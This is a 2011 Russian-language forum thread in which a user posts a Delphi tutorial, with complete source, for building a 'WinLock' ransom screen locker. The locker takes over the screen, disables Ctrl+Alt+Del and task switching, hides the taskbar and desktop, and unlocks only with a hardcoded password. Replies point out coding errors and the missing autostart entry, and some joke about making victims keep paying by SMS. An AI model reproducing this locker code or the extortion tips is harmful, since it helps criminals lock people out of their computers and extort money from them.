[Delphi] Winlock
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
[Delphi] Winlock - 2011-06-20 11:26:48.530000
|
|
|
Maxim_Fast
Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
|
Для того чтобы учить этот урок, нужны драйвера: Mozg.dll, Ruki.Dll Установили? Начинаем! Здравствуйте, представляю вашему вниманию очередную статью о программирование в Delphi. Сегодня я научу вас писать простейшие баннеры (WinLock). Для того чтобы начать творить, откройте Delphi 7 и создайте новое приложение. На форму кидаем картинку (Фон Винлока), один TEdit и TButton. Чтобы компоненты приобрели стиль Windows XP, нужно в implementation дописать {$R WinXp.Res}. Ссылку на скачивание и краткое использование в конце статьи. Итак начнем кодинг! Прежде всего нужно настроить форму. Переходим в Object Inspector, выбираем Form1. Изменяем BorderStyle (с bsSizable на bsNone). Впринцепи этого достаточно. Переходим в события (Events) формы (Form1), создаем событие OnActivate. Добавляем var: hTaskBar:THandle. Пишем действие: Чтобы форма приобрела размеры экрана, пишем: Form1.Height:=screen.Height;
Form1.Width:=screen.Width; Чтобы отключить ALT+CTRL+DELETE, ALT+TAB, CTRL+ESC нужно: SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
Убираем панель задач (Пуск): hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE); Убираем значки с рабочего стола: ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE); Должно получится так: procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar:THandle;
begin
Form1.Height:=screen.Height;
Form1.Width:=screen.Width;
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Идем дальше, чтобы скрыть вводимый пароль в TEdit'e под звездочкой нужно создать событие оnchange. Edit1.PasswordChar:='*'; Должно получится так: procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end; Далее делаем проверку пароля: Создаем событие оnclick у TButton. Добавляем var: hTaskBar : THandle;
Password:string[10]; - Количество вводимых символов. Действие: Password:=Edit1.Text;
If (Password='xakep.ru') then Т.е пароль на разблокировку xakep.ru. Действие (Возращаем все на свои места): SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL); Тут мы включили все что отключали. Закрываем программу Close; Должно быть так: procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=Edit1.text;
If (Password=’xakep.ru') then
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
Close;
end Если пароль верен то окно закроется, если нет то: else
begin
ShowMessage('Пароль неправильный, попробуйте еще!');
Edit1.Clear;
end;
end. Автор: Максим Фаст (с) 2011 WinXp.Res (Кидаем в папку Lib)
|
|
|
RE: [Delphi] Winlock - 2011-06-20 11:55:39.720000
|
|
|
Alianna
Сообщений: 1922
Оценки: 356
Присоединился: 2010-03-02 11:27:12.343333
|
Во-первых, строки в делфи ограничиваются не ` а '. Во-вторых, Password:=Edit1.text;
If (Login=’xakep.ru') then
Что за Login? Да и вообще имхо при данном раскладе проще сравнить сразу Edit1.Text. В-третьих, зачем onChange? Достаточно просто сразу в свойствах поставить выставить PasswordChar. Дальше… что за винлокер, который не прописывается в автозагрузку? И напоследок - заданный таким образом пароль из экзешника будет вытащить очень просто. Достаточно в отладчике посмотреть строки.
|
|
|
RE: [Delphi] Winlock - 2011-06-20 12:02:23.960000
|
|
|
Maxim_Fast
Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
|
Об этом я знаю. Но у меня работает так, как я написал.
|
|
|
RE: [Delphi] Winlock - 2011-06-20 12:04:13.843333
|
|
|
Alianna
Сообщений: 1922
Оценки: 356
Присоединился: 2010-03-02 11:27:12.343333
|
Что вы говорите, и на нигде не объявленную переменную Login не ругается? Тогда у вас чудо-компилятор.
|
|
|
RE: [Delphi] Winlock - 2011-06-20 12:10:39.693333
|
|
|
Maxim_Fast
Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
|
Я сам делаю таким способом, какой написал, все хорошо компилируется, без ошибок и варнов. Все работает.
|
|
|
RE: [Delphi] Winlock - 2011-06-20 12:14:04.440000
|
|
|
Maxim_Fast
Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
|
Ах да, заметил ошибку с Login. Скорей как привычка уже. Извиняй. Машинально писал, потому-что торопился. Да про пароль который можно вытащить легко: Любой пользователь (Простой) не будет искать строки, он не сможет запустить отладчик. Автозагрузка: Я написал простейшие, а значит в нем будут самые нужные функции. Автозагрузка конечно нужная функция, но… Еще претензии к моей статье?
|
|
|
RE: [Delphi] Winlock - 2011-06-20 15:03:32.870000
|
|
|
_SaZ_
Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
|
Edit1.PasswordChar:='*'; Достаточно вызвать один раз.
|
|
|
RE: [Delphi] Winlock - 2011-06-20 20:11:32.273333
|
|
|
KwanzaBot
Сообщений: 129
Оценки: 0
Присоединился: 2011-04-18 19:45:33.773333
|
quote:
Если пароль верен то окно закроется, если нет то: Такого не бывает :@ Если пароль верен, то должно вылазить сообщение, что произошла ошибка и надо послать смс еще раз. Это же основы всемирной теории винлокеров! ;)
|
|
|
RE: [Delphi] Winlock - 2011-06-21 09:35:33.250000
|
|
|
Maxim_Fast
Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
|
Нууу)
|
|
|
RE: [Delphi] Winlock - 2011-06-21 10:57:47.683333
|
|
|
codeismy.name
Сообщений: 618
Оценки: 0
Присоединился: 2009-07-19 00:30:13.200000
|
можно вообще пароль нигде не сравнивать а писать всегда что пароль не верен. не понимаю зачем бросать на произвол судьбы дойную корову. а вообще после топика про лейбл статья автора както ну совсем смотрится по нубски.
|
|
|
RE: [Delphi] Winlock - 2011-06-21 13:55:29.010000
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Винлоки часто реально открываются кодами. Это чтобы юзвери слали смс, не сомневаясь, зная, что может помочь. И да, содрал он.
|
|
|
RE: [Delphi] Winlock - 2011-07-02 00:09:34.103333
|
|
|
goodbill
Сообщений: 55
Оценки: 0
Присоединился: 2011-03-09 20:50:53.326666
|
забавно, ТС сначала так уверенно пишет что ошибок нет а потом "случайно" видит свою ошибку. Ты такой молодец… Alt+F4 вырубил? Все очень сыро….
|
|
|
|
|